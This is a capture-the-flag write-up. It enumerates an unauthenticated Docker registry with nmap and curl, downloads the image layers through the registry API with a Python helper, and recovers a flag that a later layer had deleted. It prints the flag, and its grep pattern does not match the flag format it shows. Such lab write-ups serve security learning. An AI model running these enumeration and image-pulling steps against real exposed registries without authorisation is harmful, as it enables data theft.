Category: Misc / Web / Docker
Points: 504
Author: Mārtiņš #420
“You like Windows registry tasks? Well this is none of that. Have fun.”
The box description hints at “registry”, but it explicitly says it’s not Windows registry. The nmap scan quickly shows why: it’s actually a Docker registry.
Target IP: 10.240.3.118
Basic host discovery:
ping -c 4 10.240.3.118
Then a service scan:
nmap -sC -sV 10.240.3.118
Relevant result:
Host is up (0.079s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
5000/tcp open http Docker Registry (API: 2.0)
So there’s a Docker Registry v2 running on port 5000. That matches the “registry” hint, but it’s not Windows at all.
First, verify the registry API is reachable:
curl -s http://10.240.3.118:5000/v2/
Then list repositories (the catalog):
curl -s http://10.240.3.118:5000/v2/_catalog
Output:
{"repositories":["my-cool-webserver"]}
So there’s a single repo: my-cool-webserver.
List tags for this repo:
curl -s http://10.240.3.118:5000/v2/my-cool-webserver/tags/list
One of the tags available was oldest, which I decided to investigate.
I first tried to just docker pull the image:
docker pull 10.240.3.118:5000/my-cool-webserver:oldest
Got:
permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock
So I retried with sudo:
sudo docker pull 10.240.3.118:5000/my-cool-webserver:oldest
Now Docker complained about HTTPS:
Error response from daemon: Get "https://10.240.3.118:5000/v2/":
http: server gave HTTP response to HTTPS client
This is the classic HTTP-only registry vs Docker expecting HTTPS issue.
I tried to configure an insecure registry via /etc/docker/daemon.json, but on this box there was no docker systemd service:
sudo systemctl restart docker
# → Unit docker.service not found
So I couldn’t (easily) restart Docker, and fighting the local Docker setup was more effort than it was worth.
At this point I switched to pulling the image manually via the Registry HTTP API.
I worked in a dedicated directory:
mkdir ~/my-cool-webserver-oldest
cd ~/my-cool-webserver-oldest
For tag oldest:
curl -s -H "Accept: application/vnd.docker.distribution.manifest.v2+json" http://10.240.3.118:5000/v2/my-cool-webserver/manifests/oldest -o manifest.json
Pretty-print (optional, for inspection):
python3 -m json.tool manifest.json | sed -n '1,80p'
The manifest contains a "layers" array with entries like:
{
"mediaType": "...",
"size": 123456,
"digest": "sha256:...."
}
Each digest is a tar layer we can download.
I used a small Python helper to automate:
python3 - << 'EOF'
import json, subprocess, os
with open("manifest.json") as f:
m = json.load(f)
for layer in m["layers"]:
digest = layer["digest"] # e.g. "sha256:abcd..."
print("[*] Handling layer", digest)
fname = digest.replace(":", "_") + ".tar"
# Download the blob for this layer
url = f"http://10.240.3.118:5000/v2/my-cool-webserver/blobs/{digest}"
print(" Downloading", url, "->", fname)
subprocess.check_call(["curl", "-s", url, "-o", fname])
# Extract into a directory with the same base name
dirname = fname[:-4]
os.makedirs(dirname, exist_ok=True)
print(" Extracting to", dirname)
subprocess.check_call(["tar", "-xf", fname, "-C", dirname])
EOF
This produced multiple directories like:
sha256_f70c3a.../sha256_7dde47.../.tar files.Each directory represents the filesystem changes of that layer.
Instead of grepping everything (including big binaries and tars), I searched for filenames containing “flag”:
find . -iname '*flag*' -type f
Result:
./sha256_f70c3ab0ba51b24f49f4ae6cf19d8b824652bf9096af972b6e154a6f5fc647d0/usr/share/nginx/html/flag.html
./sha256_7dde473e421c6cc01aa176332e59b9a53200dc1bc9f232fbe58daa6b7c51d878/usr/share/nginx/html/.wh.flag.html
Observations:
flag.html is a pretty obvious candidate..wh.flag.html is a Docker whiteout file – it tells Docker to delete flag.html in a later layer so it doesn’t appear in the final image.That means: the current image hides the flag, but older layers still contain it. Exactly what we’re seeing.
I then read flag.html from the earlier layer:
cat ./sha256_f70c3ab0ba51b24f49f4ae6cf19d8b824652bf9096af972b6e154a6f5fc647d0/usr/share/nginx/html/flag.html
To cleanly extract just the flag:
grep -o 'MCTF{[^}]*}' ./sha256_f70c3ab0ba51b24f49f4ae6cf19d8b824652bf9096af972b6e154a6f5fc647d0/usr/share/nginx/html/flag.html
This revealed the flag:
MCTF25{d0ck3r_d03s_n0t_f0rg3t_d0ck3r_d03s_n0t_f0rgiv3}